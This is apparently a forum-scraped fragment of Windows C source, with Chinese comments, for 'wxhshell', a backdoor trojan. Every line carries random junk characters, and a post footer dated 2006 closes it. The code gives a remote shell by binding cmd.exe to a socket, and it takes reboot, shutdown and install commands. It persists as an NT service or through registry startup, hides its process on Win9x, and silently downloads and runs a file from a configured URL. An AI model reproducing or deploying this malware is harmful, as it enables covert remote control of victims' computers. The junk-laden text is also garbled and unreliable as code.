  } db1ZNw  
  else { 6q>iPK Jt  
[&&#~gz  
    switch(cmd[0]) { w ]T_%mdk  
  ?OnL,y|  
  // 帮助 p.(+L^-=  
  case '?': { *.wj3' wV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %{r3"Q=;W  
    break; ~YW;'  
  } u?SwGXi~8  
  // 安装 ceks~[rP  
  case 'i': { xu-bn  
    if(Install()) O_2o/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wY\,b*x  
    else o ?05bv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;2g.X(Ra  
    break; x@oxIXN  
    } |;Jt * _  
  // 卸载 8lqmd1v  
  case 'r': { 3*%+NQIj  
    if(Uninstall()) z@19gD#8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \oxf_4X  
    else 8irTGA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (HeSL),1  
    break; E,?IIRg&  
    } v4rO 0y=C  
  // 显示 wxhshell 所在路径 ='kCY}dkO  
  case 'p': { j&S.k  
    char svExeFile[MAX_PATH]; #Cs/.(<  
    strcpy(svExeFile,"\n\r"); GcO:!b*YMp  
      strcat(svExeFile,ExeFile); k??CXW  
        send(wsh,svExeFile,strlen(svExeFile),0); y[jp)&N`  
    break; s-SFu  
    } e"sv_$*  
  // 重启 jb/C\2U4)  
  case 'b': { X5+^b({  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ESIJ QM-[+  
    if(Boot(REBOOT)) ]QHZ [C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p_n$}z  
    else { $1s>efP-  
    closesocket(wsh); >^#Liwm  
    ExitThread(0); Kt]vTn7!9  
    } ZK2&l8  
    break; vYLspZ;S  
    } #] Do_Z  
  // 关机 .pl,ujv  
  case 'd': { ^a3 (QKS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u0?TMy.%  
    if(Boot(SHUTDOWN)) x=W s)&H_Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /s(PFN8#Y  
    else { cyjgi /Z  
    closesocket(wsh); WyQ8}]1b  
    ExitThread(0); ?0z/i^I  
    } _E-{*,7bZS  
    break; K!>3`[:I"  
    } hlc g[Qdo*  
  // 获取shell fD_3lbiL(  
  case 's': { i6;rh-M?.  
    CmdShell(wsh); ,@N.v?p>  
    closesocket(wsh); :m'(8s8  
    ExitThread(0); trLxg H_Y  
    break; 7n;a_Z0s$  
  } \b)P4aL  
  // 退出 X^m @*,[s  
  case 'x': { v )2yR~J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h"2^` )!u  
    CloseIt(wsh); [5b[ztN%  
    break; !#olG}#[  
    } 5*B'e{C  
  // 离开 <x$f D37  
  case 'q': { )J[Ady^5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kAx J#RG  
    closesocket(wsh); D[YdPg@-  
    WSACleanup(); ZiH4s|  
    exit(1); mII8jyg*c  
    break; VF7H0XR/k5  
        } lL'K1%{+ \  
  } TUp%Cx  
  } zFwO(  
= j l( Q  
  // 提示信息 RC/& dB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !) d  
} ]HG> Og  
  } 6H|T )  
c8cGIAOY)  
  return; f+c{<fX  
} L{c\7  
$@dPIq4o;}  
// shell模块句柄 yN}<l%  
int CmdShell(SOCKET sock) g87M"kQKA  
{ pl 1CEoe  
STARTUPINFO si; !6s]p%{V  
ZeroMemory(&si,sizeof(si)); #Pq6q.UB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /q`f3OV"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mj2sbRiSR=  
PROCESS_INFORMATION ProcessInfo; -r{]9v2j  
char cmdline[]="cmd"; 8O*O 5   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JCITIjD7=  
  return 0; ~^eC?F(  
} QVR-`d/  
*>j4tA{b@v  
// 自身启动模式 }GGH:v  
int StartFromService(void) sQY0Xys<4  
{ c5HW.3"  
typedef struct Jz_`dLL^ w  
{ [#2z=Xg  
  DWORD ExitStatus; 'p'nAB''!  
  DWORD PebBaseAddress; E>}3MfL  
  DWORD AffinityMask; ?)+I'lW!  
  DWORD BasePriority; ? ~~,?Uxw!  
  ULONG UniqueProcessId; NVo =5  
  ULONG InheritedFromUniqueProcessId; <ZeZq  
}   PROCESS_BASIC_INFORMATION; d!q)FRzi  
wQ9fPOm  
PROCNTQSIP NtQueryInformationProcess; mY]R~:  
DzvGR)>/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )XD$YI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rEZMX2  
hKp-"  
  HANDLE             hProcess; W#<ZaGsq  
  PROCESS_BASIC_INFORMATION pbi; MqswYK-s  
Y<`uq'V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Yg")/*!H  
  if(NULL == hInst ) return 0; gM Z `  
[ Q20c<,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2ISnWzq;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); locf6%2g~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N6S}u@{J~N  
;KW}F|  
  if (!NtQueryInformationProcess) return 0; fYZ)5xnj  
km!jxs  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <UO'&?G  
  if(!hProcess) return 0; +Tp>3Jh2  
EWoGdH|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KZTT2KsYl  
SNf*2~uq)  
  CloseHandle(hProcess); lA7\c#  
nrI-F,1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vC!}%sxVw_  
if(hProcess==NULL) return 0; 'd=B{7k@  
rc]`PV  
HMODULE hMod; .^* .-8q  
char procName[255]; O LxiY r  
unsigned long cbNeeded; Z&0*\.6S~  
I)X33X,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1C\[n(9  
o8ADAU"  
  CloseHandle(hProcess); GbZqLZ0  
pWXoJ0N  
if(strstr(procName,"services")) return 1; // 以服务启动 aUX.4#|%  
FOd)zU*L2  
  return 0; // 注册表启动 =P<7tsSuoK  
} BDT1qiC  
|Orp:e!  
// 主模块 [CJr8Qn  
int StartWxhshell(LPSTR lpCmdLine) 41jx+ 0\Z  
{ (Puag*  
  SOCKET wsl; RI jz7ZG  
BOOL val=TRUE; -XtDGNH F  
  int port=0; ,XNz.+Ov  
  struct sockaddr_in door; ue{0X\[P<  
r%~/y  
  if(wscfg.ws_autoins) Install(); (Y%pk76d  
re\&'%~K  
port=atoi(lpCmdLine); Vi1= E])  
x*uQBNf=  
if(port<=0) port=wscfg.ws_port; oefhJM!y  
jO#5ZhG  
  WSADATA data; 8yV?l7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ohe0}~)V  
Y-Gqx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   juQQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }_L,Xg:I  
  door.sin_family = AF_INET; Fm3B8Int  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w qLY \  
  door.sin_port = htons(port); 8n^v,s>  
9My |G)M6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I&O}U|l06  
closesocket(wsl); h"{Z%XPX#  
return 1; \vvV=iw  
} L<**J\=7M  
P Yp<eo\  
  if(listen(wsl,2) == INVALID_SOCKET) { TS{ycGY  
closesocket(wsl); *CtO Q  
return 1; EpCsJ08K  
} .. xg4V/  
  Wxhshell(wsl); &k4)&LQJ  
  WSACleanup(); Ec^x  
hWujio/h  
return 0; h{&}p-X&[  
qZ6Mk9@M  
} MjW g  
8QN#PaY  
// 以NT服务方式启动 =)GhrWeVi4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m:,S1V_jl  
{ HG/`5$L +}  
DWORD   status = 0; S~mpXH@  
  DWORD   specificError = 0xfffffff; se1\<YHDS  
IP E2t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4iiW{rh4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CHqRCQR.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w{1DwCLKq  
  serviceStatus.dwWin32ExitCode     = 0; P<@V  
  serviceStatus.dwServiceSpecificExitCode = 0; .6m%/-whS  
  serviceStatus.dwCheckPoint       = 0; "[ 091<  
  serviceStatus.dwWaitHint       = 0; D/1f> sl  
nmn 8Y V1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IOx9".  
  if (hServiceStatusHandle==0) return; W9ZfD~(3-  
oyS43/."  
status = GetLastError(); G/:;Qig  
  if (status!=NO_ERROR) A[F tPk{k  
{ `is."]%f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !z7j.u`Y  
    serviceStatus.dwCheckPoint       = 0; e==}qQ  
    serviceStatus.dwWaitHint       = 0; '<.@a"DnJ  
    serviceStatus.dwWin32ExitCode     = status; D.hj9  
    serviceStatus.dwServiceSpecificExitCode = specificError; al9L+ruR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B1GBQH$Ms  
    return; GoK[tjb  
  } ]YP J.[n  
O|opNr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M7|k"iz v  
  serviceStatus.dwCheckPoint       = 0; i1"4z tZ  
  serviceStatus.dwWaitHint       = 0; yaiw|j`A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j`GL#J[wqQ  
} &"(xd@V)]A  
u!FX 0Ip  
// 处理NT服务事件,比如:启动、停止 2aef[TY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z9MT, "  
{ lC8DhRd0_  
switch(fdwControl) MY]Z@  
{ hP1H/=~  
case SERVICE_CONTROL_STOP: |]tIE{d  
  serviceStatus.dwWin32ExitCode = 0; FOAy'76p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; VfK8')IXk  
  serviceStatus.dwCheckPoint   = 0; DeTx7i0  
  serviceStatus.dwWaitHint     = 0; xWv@PqXD  
  { WQ(*A $  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dvWQ?1l_  
  } T( UPWsj  
  return; &\Es\qVSf  
case SERVICE_CONTROL_PAUSE: &R\t<X9 n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a9hK8e  
  break; Sl,\  <a  
case SERVICE_CONTROL_CONTINUE: 7$8YBcZ6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; " Zo<$p3]  
  break; h/7m.p]  
case SERVICE_CONTROL_INTERROGATE: ^h}xFiAV#  
  break; gr?[KD l~  
}; i$GL]0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8ug\GlZc  
} E>t5/^c)*w  
z@Klj qN  
// 标准应用程序主函数 aNX M~;5~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EZ6\pyNB0#  
{ To_Y 8 G  
:T62_cFG  
// 获取操作系统版本 5C}1iZEJ  
OsIsNt=GetOsVer(); 8reis1]2S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s<f<:BC  
O$=[m9V  
  // 从命令行安装 2$)xpET  
  if(strpbrk(lpCmdLine,"iI")) Install(); k}xXja*  
e} =tUdDf  
  // 下载执行文件 {$,t^hd  
if(wscfg.ws_downexe) { lr>P/W\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f~HC%C YH  
  WinExec(wscfg.ws_filenam,SW_HIDE); @WmEcX|  
} s4RqY*VK  
]kXiT Yg  
if(!OsIsNt) { k,p:!S(bl  
// 如果时win9x,隐藏进程并且设置为注册表启动 ws!pp\F  
HideProc(); ak :Y<}  
StartWxhshell(lpCmdLine); `Bw>0%.  
} .c+NsI9}  
else l :e&w(1H  
  if(StartFromService()) 7+!4pf  
  // 以服务方式启动 *] H8X=[x  
  StartServiceCtrlDispatcher(DispatchTable); _$g2;X >  
else (!^i6z0Sp  
  // 普通方式启动 E}7@?o7u}  
  StartWxhshell(lpCmdLine); N- !>\n  
v}vwk8  
return 0; l70a&[W  
}
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只看该作者 1 发表于: 2006-10-10
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